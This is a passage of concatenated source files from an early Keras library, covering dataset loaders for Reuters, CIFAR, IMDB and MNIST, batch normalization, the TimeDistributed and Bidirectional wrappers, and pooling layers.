            by how often they occur (in the training set) and only
            the most frequent words are kept
        skip_top: skip the top N most frequently occuring words
            (which may not be informative).
        maxlen: truncate sequences after this length.
        test_split: Fraction of the dataset to be used as test data.
        seed: random seed for sample shuffling.
        start_char: The start of a sequence will be marked with this character.
            Set to 1 because 0 is usually the padding character.
        oov_char: words that were cut out because of the `nb_words`
            or `skip_top` limit will be replaced with this character.
        index_from: index actual words with this index and higher.

    Note that the 'out of vocabulary' character is only used for
    words that were present in the training set but are not included
    because they're not making the `nb_words` cut here.
    Words that were not seen in the trining set but are in the test set
    have simply been skipped.
    '''

    path = get_file(path, origin='https://s3.amazonaws.com/text-datasets/reuters.pkl')
    f = open(path, 'rb')
    X, labels = cPickle.load(f)
    f.close()

    np.random.seed(seed)
    np.random.shuffle(X)
    np.random.seed(seed)
    np.random.shuffle(labels)

    if start_char is not None:
        X = [[start_char] + [w + index_from for w in x] for x in X]
    elif index_from:
        X = [[w + index_from for w in x] for x in X]

    if maxlen:
        new_X = []
        new_labels = []
        for x, y in zip(X, labels):
            if len(x) < maxlen:
                new_X.append(x)
                new_labels.append(y)
        X = new_X
        labels = new_labels

    if not nb_words:
        nb_words = max([max(x) for x in X])

    # by convention, use 2 as OOV word
    # reserve 'index_from' (=3 by default) characters: 0 (padding), 1 (start), 2 (OOV)
    if oov_char is not None:
        X = [[oov_char if (w >= nb_words or w < skip_top) else w for w in x] for x in X]
    else:
        nX = []
        for x in X:
            nx = []
            for w in x:
                if (w >= nb_words or w < skip_top):
                    nx.append(w)
            nX.append(nx)
        X = nX

    X_train = X[:int(len(X) * (1 - test_split))]
    y_train = labels[:int(len(X) * (1 - test_split))]

    X_test = X[int(len(X) * (1 - test_split)):]
    y_test = labels[int(len(X) * (1 - test_split)):]

    return (X_train, y_train), (X_test, y_test)


def get_word_index(path='reuters_word_index.pkl'):
    path = get_file(path, origin='https://s3.amazonaws.com/text-datasets/reuters_word_index.pkl')
    f = open(path, 'rb')

    if sys.version_info < (3,):
        data = cPickle.load(f)
    else:
        data = cPickle.load(f, encoding='latin1')

    f.close()
    return data






from __future__ import absolute_import
from .cifar import load_batch
from ..utils.data_utils import get_file
import numpy as np
import os


def load_data():
    dirname = "cifar-10-batches-py"
    origin = "http://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz"
    path = get_file(dirname, origin=origin, untar=True)

    nb_train_samples = 50000

    X_train = np.zeros((nb_train_samples, 3, 32, 32), dtype="uint8")
    y_train = np.zeros((nb_train_samples,), dtype="uint8")

    for i in range(1, 6):
        fpath = os.path.join(path, 'data_batch_' + str(i))
        data, labels = load_batch(fpath)
        X_train[(i-1)*10000:i*10000, :, :, :] = data
        y_train[(i-1)*10000:i*10000] = labels

    fpath = os.path.join(path, 'test_batch')
    X_test, y_test = load_batch(fpath)

    y_train = np.reshape(y_train, (len(y_train), 1))
    y_test = np.reshape(y_test, (len(y_test), 1))

    return (X_train, y_train), (X_test, y_test)












# -*- coding: utf-8 -*-
from __future__ import absolute_import
import sys
from six.moves import cPickle


def load_batch(fpath, label_key='labels'):
    f = open(fpath, 'rb')
    if sys.version_info < (3,):
        d = cPickle.load(f)
    else:
        d = cPickle.load(f, encoding="bytes")
        # decode utf8
        for k, v in d.items():
            del(d[k])
            d[k.decode("utf8")] = v
    f.close()
    data = d["data"]
    labels = d[label_key]

    data = data.reshape(data.shape[0], 3, 32, 32)
    return data, labels






from __future__ import absolute_import
from .cifar import load_batch
from ..utils.data_utils import get_file
import numpy as np
import os


def load_data(label_mode='fine'):
    if label_mode not in ['fine', 'coarse']:
        raise Exception('label_mode must be one of "fine" "coarse".')

    dirname = "cifar-100-python"
    origin = "http://www.cs.toronto.edu/~kriz/cifar-100-python.tar.gz"
    path = get_file(dirname, origin=origin, untar=True)

    nb_test_samples = 10000
    nb_train_samples = 50000

    fpath = os.path.join(path, 'train')
    X_train, y_train = load_batch(fpath, label_key=label_mode+'_labels')

    fpath = os.path.join(path, 'test')
    X_test, y_test = load_batch(fpath, label_key=label_mode+'_labels')

    y_train = np.reshape(y_train, (len(y_train), 1))
    y_test = np.reshape(y_test, (len(y_test), 1))

    return (X_train, y_train), (X_test, y_test)






from __future__ import absolute_import
from six.moves import cPickle
import gzip
from ..utils.data_utils import get_file
from six.moves import zip
import numpy as np
import sys


def load_data(path='imdb_full.pkl', nb_words=None, skip_top=0,
              maxlen=None, seed=113,
              start_char=1, oov_char=2, index_from=3):
    '''
    # Arguments
        path: where to store the data (in `/.keras/dataset`)
        nb_words: max number of words to include. Words are ranked
            by how often they occur (in the training set) and only
            the most frequent words are kept
        skip_top: skip the top N most frequently occuring words
            (which may not be informative).
        maxlen: truncate sequences after this length.
        seed: random seed for sample shuffling.
        start_char: The start of a sequence will be marked with this character.
            Set to 1 because 0 is usually the padding character.
        oov_char: words that were cut out because of the `nb_words`
            or `skip_top` limit will be replaced with this character.
        index_from: index actual words with this index and higher.

    Note that the 'out of vocabulary' character is only used for
    words that were present in the training set but are not included
    because they're not making the `nb_words` cut here.
    Words that were not seen in the trining set but are in the test set
    have simply been skipped.
    '''
    path = get_file(path,
                    origin='https://s3.amazonaws.com/text-datasets/imdb_full.pkl',
                    md5_hash='d091312047c43cf9e4e38fef92437263')

    if path.endswith('.gz'):
        f = gzip.open(path, 'rb')
    else:
        f = open(path, 'rb')

    (x_train, labels_train), (x_test, labels_test) = cPickle.load(f)
    f.close()

    np.random.seed(seed)
    np.random.shuffle(x_train)
    np.random.seed(seed)
    np.random.shuffle(labels_train)

    np.random.seed(seed * 2)
    np.random.shuffle(x_test)
    np.random.seed(seed * 2)
    np.random.shuffle(labels_test)

    X = x_train + x_test
    labels = labels_train + labels_test

    if start_char is not None:
        X = [[start_char] + [w + index_from for w in x] for x in X]
    elif index_from:
        X = [[w + index_from for w in x] for x in X]

    if maxlen:
        new_X = []
        new_labels = []
        for x, y in zip(X, labels):
            if len(x) < maxlen:
                new_X.append(x)
                new_labels.append(y)
        X = new_X
        labels = new_labels
    if not X:
        raise Exception('After filtering for sequences shorter than maxlen=' +
                        str(maxlen) + ', no sequence was kept. '
                        'Increase maxlen.')
    if not nb_words:
        nb_words = max([max(x) for x in X])

    # by convention, use 2 as OOV word
    # reserve 'index_from' (=3 by default) characters: 0 (padding), 1 (start), 2 (OOV)
    if oov_char is not None:
        X = [[oov_char if (w >= nb_words or w < skip_top) else w for w in x] for x in X]
    else:
        nX = []
        for x in X:
            nx = []
            for w in x:
                if (w >= nb_words or w < skip_top):
                    nx.append(w)
            nX.append(nx)
        X = nX

    X_train = np.array(X[:len(x_train)])
    y_train = np.array(labels[:len(x_train)])

    X_test = np.array(X[len(x_train):])
    y_test = np.array(labels[len(x_train):])

    return (X_train, y_train), (X_test, y_test)


def get_word_index(path='imdb_word_index.pkl'):
    path = get_file(path,
                    origin='https://s3.amazonaws.com/text-datasets/imdb_word_index.pkl',
                    md5_hash='72d94b01291be4ff843198d3b0e1e4d7')
    f = open(path, 'rb')

    if sys.version_info < (3,):
        data = cPickle.load(f)
    else:
        data = cPickle.load(f, encoding='latin1')

    f.close()
    return data






# -*- coding: utf-8 -*-
import gzip
from ..utils.data_utils import get_file
from six.moves import cPickle
import sys


def load_data(path="mnist.pkl.gz"):
    path = get_file(path, origin="https://s3.amazonaws.com/img-datasets/mnist.pkl.gz")

    if path.endswith(".gz"):
        f = gzip.open(path, 'rb')
    else:
        f = open(path, 'rb')

    if sys.version_info < (3,):
        data = cPickle.load(f)
    else:
        data = cPickle.load(f, encoding="bytes")

    f.close()
    return data  # (X_train, y_train), (X_test, y_test)






from ..engine import Layer, InputSpec
from .. import initializations
from .. import backend as K


class BatchNormalization(Layer):
    '''Normalize the activations of the previous layer at each batch,
    i.e. applies a transformation that maintains the mean activation
    close to 0 and the activation standard deviation close to 1.

    # Arguments
        epsilon: small float > 0. Fuzz parameter.
        mode: integer, 0, 1 or 2.
            - 0: feature-wise normalization.
                Each feature map in the input will
                be normalized separately. The axis on which
                to normalize is specified by the `axis` argument.
                Note that if the input is a 4D image tensor
                using Theano conventions (samples, channels, rows, cols)
                then you should set `axis` to `1` to normalize along
                the channels axis.
                During training we use per-batch statistics to normalize
                the data, and during testing we use running averages
                computed during the training phase.
            - 1: sample-wise normalization. This mode assumes a 2D input.
            - 2: feature-wise normalization, like mode 0, but
                using per-batch statistics to normalize the data during both
                testing and training.
        axis: integer, axis along which to normalize in mode 0. For instance,
            if your input tensor has shape (samples, channels, rows, cols),
            set axis to 1 to normalize per feature map (channels axis).
        momentum: momentum in the computation of the
            exponential average of the mean and standard deviation
            of the data, for feature-wise normalization.
        weights: Initialization weights.
            List of 2 Numpy arrays, with shapes:
            `[(input_shape,), (input_shape,)]`
            Note that the order of this list is [gamma, beta, mean, std]
        beta_init: name of initialization function for shift parameter
            (see [initializations](../initializations.md)), or alternatively,
            Theano/TensorFlow function to use for weights initialization.
            This parameter is only relevant if you don't pass a `weights` argument.
        gamma_init: name of initialization function for scale parameter (see
            [initializations](../initializations.md)), or alternatively,
            Theano/TensorFlow function to use for weights initialization.
            This parameter is only relevant if you don't pass a `weights` argument.

    # Input shape
        Arbitrary. Use the keyword argument `input_shape`
        (tuple of integers, does not include the samples axis)
        when using this layer as the first layer in a model.

    # Output shape
        Same shape as input.

    # References
        - [Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift](http://jmlr.org/proceedings/papers/v37/ioffe15.html)
    '''
    def __init__(self, epsilon=1e-5, mode=0, axis=-1, momentum=0.99,
                 weights=None, beta_init='zero', gamma_init='one', **kwargs):
        self.supports_masking = True
        self.beta_init = initializations.get(beta_init)
        self.gamma_init = initializations.get(gamma_init)
        self.epsilon = epsilon
        self.mode = mode
        self.axis = axis
        self.momentum = momentum
        self.initial_weights = weights
        if self.mode == 0:
            self.uses_learning_phase = True
        super(BatchNormalization, self).__init__(**kwargs)

    def build(self, input_shape):
        self.input_spec = [InputSpec(shape=input_shape)]
        shape = (input_shape[self.axis],)

        self.gamma = self.gamma_init(shape, name='{}_gamma'.format(self.name))
        self.beta = self.beta_init(shape, name='{}_beta'.format(self.name))
        self.trainable_weights = [self.gamma, self.beta]

        self.running_mean = K.zeros(shape,
                                    name='{}_running_mean'.format(self.name))
        self.running_std = K.ones(shape,
                                  name='{}_running_std'.format(self.name))
        self.non_trainable_weights = [self.running_mean, self.running_std]

        if self.initial_weights is not None:
            self.set_weights(self.initial_weights)
            del self.initial_weights
        self.built = True
        self.called_with = None

    def call(self, x, mask=None):
        if self.mode == 0 or self.mode == 2:
            assert self.built, 'Layer must be built before being called'
            input_shape = self.input_spec[0].shape

            reduction_axes = list(range(len(input_shape)))
            del reduction_axes[self.axis]
            broadcast_shape = [1] * len(input_shape)
            broadcast_shape[self.axis] = input_shape[self.axis]

            if self.mode == 2:
                x_normed, mean, std = K.normalize_batch_in_training(
                    x, self.gamma, self.beta, reduction_axes,
                    epsilon=self.epsilon)
            else:
                # mode 0
                if self.called_with not in {None, x}:
                    raise Exception('You are attempting to share a '
                                    'same `BatchNormalization` layer across '
                                    'different data flows. '
                                    'This is not possible. '
                                    'You should use `mode=2` in '
                                    '`BatchNormalization`, which has '
                                    'a similar behavior but is shareable '
                                    '(see docs for a description of '
                                    'the behavior).')
                self.called_with = x
                x_normed, mean, std = K.normalize_batch_in_training(
                    x, self.gamma, self.beta, reduction_axes,
                    epsilon=self.epsilon)

                self.updates = [K.moving_average_update(self.running_mean, mean, self.momentum),
                                K.moving_average_update(self.running_std, std, self.momentum)]

                if sorted(reduction_axes) == range(K.ndim(x))[:-1]:
                    x_normed_running = K.batch_normalization(
                        x, self.running_mean, self.running_std,
                        self.beta, self.gamma,
                        epsilon=self.epsilon)
                else:
                    # need broadcasting
                    broadcast_running_mean = K.reshape(self.running_mean, broadcast_shape)
                    broadcast_running_std = K.reshape(self.running_std, broadcast_shape)
                    broadcast_beta = K.reshape(self.beta, broadcast_shape)
                    broadcast_gamma = K.reshape(self.gamma, broadcast_shape)
                    x_normed_running = K.batch_normalization(
                        x, broadcast_running_mean, broadcast_running_std,
                        broadcast_beta, broadcast_gamma,
                        epsilon=self.epsilon)

                # pick the normalized form of x corresponding to the training phase
                x_normed = K.in_train_phase(x_normed, x_normed_running)

        elif self.mode == 1:
            # sample-wise normalization
            m = K.mean(x, axis=-1, keepdims=True)
            std = K.sqrt(K.var(x, axis=-1, keepdims=True) + self.epsilon)
            x_normed = (x - m) / (std + self.epsilon)
            x_normed = self.gamma * x_normed + self.beta
        return x_normed

    def get_config(self):
        config = {"epsilon": self.epsilon,
                  "mode": self.mode,
                  "axis": self.axis,
                  "momentum": self.momentum}
        base_config = super(BatchNormalization, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






from ..engine import Layer, InputSpec
from .. import backend as K


class Wrapper(Layer):

    def __init__(self, layer, **kwargs):
        self.layer = layer
        self.uses_learning_phase = layer.uses_learning_phase
        super(Wrapper, self).__init__(**kwargs)

    def build(self, input_shape=None):
        '''Assumes that self.layer is already set.
        Should be called at the end of .build() in the
        children classes.
        '''
        self.trainable_weights = getattr(self.layer, 'trainable_weights', [])
        self.non_trainable_weights = getattr(self.layer, 'non_trainable_weights', [])
        self.updates = getattr(self.layer, 'updates', [])
        self.regularizers = getattr(self.layer, 'regularizers', [])
        self.constraints = getattr(self.layer, 'constraints', {})

    def get_weights(self):
        weights = self.layer.get_weights()
        return weights

    def set_weights(self, weights):
        self.layer.set_weights(weights)

    def get_config(self):
        config = {'layer': {'class_name': self.layer.__class__.__name__,
                            'config': self.layer.get_config()}}
        base_config = super(Wrapper, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))

    @classmethod
    def from_config(cls, config):
        from keras.utils.layer_utils import layer_from_config
        layer = layer_from_config(config.pop('layer'))
        return cls(layer, **config)


class TimeDistributed(Wrapper):
    """This wrapper allows to apply a layer to every
    temporal slice of an input.

    The input should be at least 3D,
    and the dimension of index one will be considered to be
    the temporal dimension.

    Consider a batch of 32 samples, where each sample is a sequence of 10
    vectors of 16 dimensions. The batch input shape of the layer is then `(32, 10, 16)`
    (and the `input_shape`, not including the samples dimension, is `(10, 16)`).

    You can then use `TimeDistributed` to apply a `Dense` layer to each of the 10 timesteps, independently:
    ```python
        # as the first layer in a model
        model = Sequential()
        model.add(TimeDistributed(Dense(8), input_shape=(10, 16)))
        # now model.output_shape == (None, 10, 8)

        # subsequent layers: no need for input_shape
        model.add(TimeDistributed(Dense(32)))
        # now model.output_shape == (None, 10, 32)
    ```

    The output will then have shape `(32, 10, 8)`.

    Note this is strictly equivalent to using `layers.core.TimeDistributedDense`.
    However what is different about `TimeDistributed`
    is that it can be used with arbitrary layers, not just `Dense`,
    for instance with a `Convolution2D` layer:

    ```python
        model = Sequential()
        model.add(TimeDistributed(Convolution2D(64, 3, 3), input_shape=(10, 3, 299, 299)))
    ```

    # Arguments
        layer: a layer instance.
    """
    def __init__(self, layer, **kwargs):
        self.supports_masking = True
        super(TimeDistributed, self).__init__(layer, **kwargs)

    def build(self, input_shape):
        assert len(input_shape) >= 3
        self.input_spec = [InputSpec(shape=input_shape)]
        if K._BACKEND == 'tensorflow':
            if not input_shape[1]:
                raise Exception('When using TensorFlow, you should define '
                                'explicitly the number of timesteps of '
                                'your sequences.\n'
                                'If your first layer is an Embedding, '
                                'make sure to pass it an "input_length" '
                                'argument. Otherwise, make sure '
                                'the first layer has '
                                'an "input_shape" or "batch_input_shape" '
                                'argument, including the time axis.')
        child_input_shape = (input_shape[0],) + input_shape[2:]
        if not self.layer.built:
            self.layer.build(child_input_shape)
            self.layer.built = True
        super(TimeDistributed, self).build()

    def get_output_shape_for(self, input_shape):
        child_input_shape = (input_shape[0],) + input_shape[2:]
        child_output_shape = self.layer.get_output_shape_for(child_input_shape)
        timesteps = input_shape[1]
        return (child_output_shape[0], timesteps) + child_output_shape[1:]

    def call(self, X, mask=None):
        input_shape = self.input_spec[0].shape
        if input_shape[0]:
            # batch size matters, use rnn-based implementation
            def step(x, states):
                output = self.layer.call(x)
                return output, []

            last_output, outputs, states = K.rnn(step, X,
                                                 initial_states=[])
            y = outputs
        else:
            # no batch size specified, therefore the layer will be able
            # to process batches of any size
            # we can go with reshape-based implementation for performance
            input_length = input_shape[1]
            if not input_length:
                input_length = K.shape(X)[1]
            X = K.reshape(X, (-1, ) + input_shape[2:])  # (nb_samples * timesteps, ...)
            y = self.layer.call(X)  # (nb_samples * timesteps, ...)
            # (nb_samples, timesteps, ...)
            output_shape = self.get_output_shape_for(input_shape)
            y = K.reshape(y, (-1, input_length) + output_shape[2:])
        return y


class Bidirectional(Wrapper):
    ''' Bidirectional wrapper for RNNs

    # Arguments:
        layer: `Recurrent` instance.
        merge_mode: Mode by which outputs of the forward and backward RNNs will be combined. One of {'sum', 'mul', 'concat', 'ave', None}. If None, the outputs will not be combined, they will be returned as a list.

    # Examples:
    ```python
    model = Sequential()
    model.add(Bidirectional(LSTM(10, return_sequences=True), input_shape=(5, 10)))
    model.add(Bidirectional(LSTM(10)))
    model.add(Dense(5))
    model.add(Activation('softmax'))
    model.compile(loss='categorical_crossentropy', optimizer='rmsprop')
    ```
    '''
    def __init__(self, layer, merge_mode='concat', weights=None, **kwargs):
        if merge_mode not in ['sum', 'mul', 'ave', 'concat', None]:
            raise ValueError('Invalid merge mode. '
                             'Merge mode should be one of '
                             '{"sum", "mul", "ave", "concat", None}')
        self.forward_layer = layer
        config = layer.get_config()
        config['go_backwards'] = not config['go_backwards']
        self.backward_layer = layer.__class__.from_config(config)
        self.forward_layer.name = 'forward_' + self.forward_layer.name
        self.backward_layer.name = 'backward_' + self.backward_layer.name
        self.merge_mode = merge_mode
        if weights:
            nw = len(weights)
            self.forward_layer.initial_weights = weights[:nw // 2]
            self.backward_layer.initial_weights = weights[nw // 2:]
        self.stateful = layer.stateful
        self.return_sequences = layer.return_sequences
        self.supports_masking = True
        super(Bidirectional, self).__init__(layer, **kwargs)

    def get_weights(self):
        return self.forward_layer.get_weights() + self.backward_layer.get_weights()

    def set_weights(self, weights):
        nw = len(weights)
        self.forward_layer.set_weights(weights[:nw // 2])
        self.backward_layer.set_weights(weights[nw // 2:])

    def get_output_shape_for(self, input_shape):
        if self.merge_mode in ['sum', 'ave', 'mul']:
            return self.forward_layer.get_output_shape_for(input_shape)
        elif self.merge_mode == 'concat':
            shape = list(self.forward_layer.get_output_shape_for(input_shape))
            shape[-1] *= 2
            return tuple(shape)
        elif self.merge_mode is None:
            return [self.forward_layer.get_output_shape_for(input_shape)] * 2

    def call(self, X, mask=None):
        Y = self.forward_layer.call(X, mask)
        Y_rev = self.backward_layer.call(X, mask)
        if self.return_sequences:
            Y_rev = K.reverse(Y_rev, 1)
        if self.merge_mode == 'concat':
            return K.concatenate([Y, Y_rev])
        elif self.merge_mode == 'sum':
            return Y + Y_rev
        elif self.merge_mode == 'ave':
            return (Y + Y_rev) / 2
        elif self.merge_mode == 'mul':
            return Y * Y_rev
        elif self.merge_mode is None:
            return [Y, Y_rev]

    def reset_states(self):
        self.forward_layer.reset_states()
        self.backward_layer.reset_states()

    def build(self, input_shape):
        self.forward_layer.build(input_shape)
        self.backward_layer.build(input_shape)

    def compute_mask(self, input, mask):
        if self.return_sequences:
            if not self.merge_mode:
                return [mask, mask]
            else:
                return mask
        else:
            return None

    @property
    def trainable_weights(self):
        if hasattr(self.forward_layer, 'trainable_weights'):
            return self.forward_layer.trainable_weights + self.backward_layer.trainable_weights
        return []

    @property
    def non_trainable_weights(self):
        if hasattr(self.forward_layer, 'non_trainable_weights'):
            return self.forward_layer.non_trainable_weights + self.backward_layer.non_trainable_weights
        return []

    @property
    def updates(self):
        if hasattr(self.forward_layer, 'updates'):
            return self.forward_layer.updates + self.backward_layer.updates
        return []

    @property
    def regularizers(self):
        if hasattr(self.forward_layer, 'regularizers'):
            return self.forward_layer.regularizers + self.backward_layer.regularizers
        return []

    @property
    def constraints(self):
        _constraints = {}
        if hasattr(self.forward_layer, 'constraints'):
            _constraints.update(self.forward_layer.constraints)
            _constraints.update(self.backward_layer.constraints)
        return _constraints

    def get_config(self):
        config = {"merge_mode": self.merge_mode}
        base_config = super(Bidirectional, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))






# -*- coding: utf-8 -*-
from __future__ import absolute_import

from .. import backend as K
from ..engine import Layer, InputSpec
from ..utils.np_utils import conv_output_length


class _Pooling1D(Layer):
    '''Abstract class for different pooling 1D layers.
    '''
    input_dim = 3

    def __init__(self, pool_length=2, stride=None,
                 border_mode='valid', **kwargs):
        super(_Pooling1D, self).__init__(**kwargs)
        if stride is None:
            stride = pool_length
        self.pool_length = pool_length
        self.stride = stride
        self.st = (self.stride, 1)
        self.pool_size = (pool_length, 1)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        self.input_spec = [InputSpec(ndim=3)]

    def get_output_shape_for(self, input_shape):
        length = conv_output_length(input_shape[1], self.pool_length,
                                    self.border_mode, self.stride)
        return (input_shape[0], length, input_shape[2])

    def _pooling_function(self, back_end, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        raise NotImplementedError

    def call(self, x, mask=None):
        x = K.expand_dims(x, -1)   # add dummy last dimension
        x = K.permute_dimensions(x, (0, 2, 1, 3))
        output = self._pooling_function(inputs=x, pool_size=self.pool_size,
                                        strides=self.st,
                                        border_mode=self.border_mode,
                                        dim_ordering='th')
        output = K.permute_dimensions(output, (0, 2, 1, 3))
        return K.squeeze(output, 3)  # remove dummy last dimension

    def get_config(self):
        config = {'stride': self.stride,
                  'pool_length': self.pool_length,
                  'border_mode': self.border_mode}
        base_config = super(_Pooling1D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class MaxPooling1D(_Pooling1D):
    '''Max pooling operation for temporal data.

    # Input shape
        3D tensor with shape: `(samples, steps, features)`.

    # Output shape
        3D tensor with shape: `(samples, downsampled_steps, features)`.

    # Arguments
        pool_length: size of the region to which max pooling is applied
        stride: integer, or None. factor by which to downscale.
            2 will halve the input.
            If None, it will default to `pool_length`.
        border_mode: 'valid' or 'same'.
            Note: 'same' will only work with TensorFlow for the time being.
    '''

    def __init__(self, pool_length=2, stride=None,
                 border_mode='valid', **kwargs):
        super(MaxPooling1D, self).__init__(pool_length, stride,
                                           border_mode, **kwargs)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        output = K.pool2d(inputs, pool_size, strides,
                          border_mode, dim_ordering, pool_mode='max')
        return output


class AveragePooling1D(_Pooling1D):
    '''Average pooling for temporal data.

    # Arguments
        pool_length: factor by which to downscale. 2 will halve the input.
        stride: integer, or None. Stride value.
            If None, it will default to `pool_length`.
        border_mode: 'valid' or 'same'.
            Note: 'same' will only work with TensorFlow for the time being.

    # Input shape
        3D tensor with shape: `(samples, steps, features)`.

    # Output shape
        3D tensor with shape: `(samples, downsampled_steps, features)`.
    '''

    def __init__(self, pool_length=2, stride=None,
                 border_mode='valid', **kwargs):
        super(AveragePooling1D, self).__init__(pool_length, stride,
                                               border_mode, **kwargs)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        output = K.pool2d(inputs, pool_size, strides,
                          border_mode, dim_ordering, pool_mode='avg')
        return output


class _Pooling2D(Layer):
    '''Abstract class for different pooling 2D layers.
    '''

    def __init__(self, pool_size=(2, 2), strides=None, border_mode='valid',
                 dim_ordering='default', **kwargs):
        super(_Pooling2D, self).__init__(**kwargs)
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.pool_size = tuple(pool_size)
        if strides is None:
            strides = self.pool_size
        self.strides = tuple(strides)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=4)]

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            rows = input_shape[2]
            cols = input_shape[3]
        elif self.dim_ordering == 'tf':
            rows = input_shape[1]
            cols = input_shape[2]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        rows = conv_output_length(rows, self.pool_size[0],
                                  self.border_mode, self.strides[0])
        cols = conv_output_length(cols, self.pool_size[1],
                                  self.border_mode, self.strides[1])

        if self.dim_ordering == 'th':
            return (input_shape[0], input_shape[1], rows, cols)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], rows, cols, input_shape[3])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        raise NotImplementedError

    def call(self, x, mask=None):
        output = self._pooling_function(inputs=x, pool_size=self.pool_size,
                                        strides=self.strides,
                                        border_mode=self.border_mode,
                                        dim_ordering=self.dim_ordering)
        return output

    def get_config(self):
        config = {'pool_size': self.pool_size,
                  'border_mode': self.border_mode,
                  'strides': self.strides,
                  'dim_ordering': self.dim_ordering}
        base_config = super(_Pooling2D, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class MaxPooling2D(_Pooling2D):
    '''Max pooling operation for spatial data.

    # Arguments
        pool_size: tuple of 2 integers,
            factors by which to downscale (vertical, horizontal).
            (2, 2) will halve the image in each dimension.
        strides: tuple of 2 integers, or None. Strides values.
            If None, it will default to `pool_size`.
        border_mode: 'valid' or 'same'.
            Note: 'same' will only work with TensorFlow for the time being.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(nb_samples, channels, pooled_rows, pooled_cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, pooled_rows, pooled_cols, channels)` if dim_ordering='tf'.
    '''

    def __init__(self, pool_size=(2, 2), strides=None, border_mode='valid',
                 dim_ordering='default', **kwargs):
        super(MaxPooling2D, self).__init__(pool_size, strides, border_mode,
                                           dim_ordering, **kwargs)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        output = K.pool2d(inputs, pool_size, strides,
                          border_mode, dim_ordering, pool_mode='max')
        return output


class AveragePooling2D(_Pooling2D):
    '''Average pooling operation for spatial data.

    # Arguments
        pool_size: tuple of 2 integers,
            factors by which to downscale (vertical, horizontal).
            (2, 2) will halve the image in each dimension.
        strides: tuple of 2 integers, or None. Strides values.
            If None, it will default to `pool_size`.
        border_mode: 'valid' or 'same'.
            Note: 'same' will only work with TensorFlow for the time being.
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode is it at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".

    # Input shape
        4D tensor with shape:
        `(samples, channels, rows, cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, rows, cols, channels)` if dim_ordering='tf'.

    # Output shape
        4D tensor with shape:
        `(nb_samples, channels, pooled_rows, pooled_cols)` if dim_ordering='th'
        or 4D tensor with shape:
        `(samples, pooled_rows, pooled_cols, channels)` if dim_ordering='tf'.
    '''

    def __init__(self, pool_size=(2, 2), strides=None, border_mode='valid',
                 dim_ordering='default', **kwargs):
        super(AveragePooling2D, self).__init__(pool_size, strides, border_mode,
                                               dim_ordering, **kwargs)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        output = K.pool2d(inputs, pool_size, strides,
                          border_mode, dim_ordering, pool_mode='avg')
        return output


class _Pooling3D(Layer):
    '''Abstract class for different pooling 3D layers.
    '''

    def __init__(self, pool_size=(2, 2, 2), strides=None, border_mode='valid',
                 dim_ordering='default', **kwargs):
        super(_Pooling3D, self).__init__(**kwargs)
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.pool_size = tuple(pool_size)
        if strides is None:
            strides = self.pool_size
        self.strides = tuple(strides)
        assert border_mode in {'valid', 'same'}, 'border_mode must be in {valid, same}'
        self.border_mode = border_mode
        assert dim_ordering in {'tf', 'th'}, 'dim_ordering must be in {tf, th}'
        self.dim_ordering = dim_ordering
        self.input_spec = [InputSpec(ndim=5)]

    def get_output_shape_for(self, input_shape):
        if self.dim_ordering == 'th':
            len_dim1 = input_shape[2]
            len_dim2 = input_shape[3]
            len_dim3 = input_shape[4]
        elif self.dim_ordering == 'tf':
            len_dim1 = input_shape[1]
            len_dim2 = input_shape[2]
            len_dim3 = input_shape[3]
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

        len_dim1 = conv_output_length(len_dim1, self.pool_size[0],
                                      self.border_mode, self.strides[0])
        len_dim2 = conv_output_length(len_dim2, self.pool_size[1],
                                      self.border_mode, self.strides[1])
        len_dim3 = conv_output_length(len_dim3, self.pool_size[2],
                                      self.border_mode, self.strides[2])

        if self.dim_ordering == 'th':
            return (input_shape[0], input_shape[1], len_dim1, len_dim2, len_dim3)
        elif self.dim_ordering == 'tf':
            return (input_shape[0], len_dim1, len_dim2, len_dim3, input_shape[4])
        else:
            raise Exception('Invalid dim_ordering: ' + self.dim_ordering)

    def _pooling_function(self, inputs, pool_size, strides,
                          border_mode, dim_ordering):
        raise NotImplementedError

    def call(self, x, mask=None):
        output = self._pooling_function(inputs=x, pool_size=self.pool_size,
                                        strides=self.strides,
                                        border_mode=self.border_mode,
                                        dim_ordering=self.dim_ordering)
        return output

    def get_config(self):
        config = {'pool_size': self.pool_size,
